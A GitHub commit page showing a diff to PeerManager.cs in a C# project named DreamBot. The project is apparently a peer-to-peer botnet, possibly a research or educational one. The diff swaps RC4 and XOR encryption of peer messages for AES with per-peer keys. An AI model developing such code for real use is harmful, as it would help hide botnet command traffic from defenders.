Skip to content

Commit

Permalink
replace RC4 & mod2 by AES
Browse files Browse the repository at this point in the history
  • Loading branch information
lontivero committed Mar 13, 2017
1 parent 80620fa commit f264668
Showing 1 changed file with 9 additions and 16 deletions.
25 changes: 9 additions & 16 deletions Network/Protocol/Peers/PeerManager.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,9 @@
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Security.Cryptography;
using DreamBot.Crypto;
using DreamBot.Network.Comunication;
using DreamBot.Network.Protocol.Messages;
using DreamBot.System;
using DreamBot.Utils;
using DreamBot.Workers;

Expand Down Expand Up @@ -48,13 +46,11 @@ private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs<IP
var data = e.Payload;
var count = e.Count;

//var now = new TimeSpan(DateTime.UtcNow.Ticks);
//var minutes = (long)now.TotalMinutes;
//var xor = new Mod2(BitConverter.GetBytes(minutes));
//xor.Decrypt(data);

var rc4 = new Rc4(_botId.ToByteArray());
rc4.Decrypt(data);
PeerInfo peerInfo;
if (_peerList.TryGet(e.Proto, out peerInfo) && peerInfo.EncryptionKey != null)
{
data = Aes.Decrypt(data, 0, count, peerInfo.EncryptionKey);
}

var botHeader = BotHeader.Decode(data);
if(!IsValidHeader(botHeader))
Expand Down Expand Up @@ -121,13 +117,10 @@ internal void Send(MessageMetadata metadata, ulong correlationId, short ttl, byt
message = BufferUtils.Concat(preambule, payload);
} while (!PoW.IsEnough(message, 0, message.Length, metadata.RequiredWork));

var rc4 = new Rc4(peerBotId.ToByteArray());
rc4.Encrypt(message);

//var now = new TimeSpan(DateTime.UtcNow.Ticks);
//var minutes = (long)now.TotalMinutes;
//var xor = new Mod2(BitConverter.GetBytes(minutes));
//xor.Encrypt(message);
if (metadata.Encrypted)
{
message = Aes.Encrypt(message, 0, message.Length, peerInfo.EncryptionKey);
}

var endPoint = peerInfo.EndPoint;

Expand Down

0 comments on commit f264668

Please sign in to comment.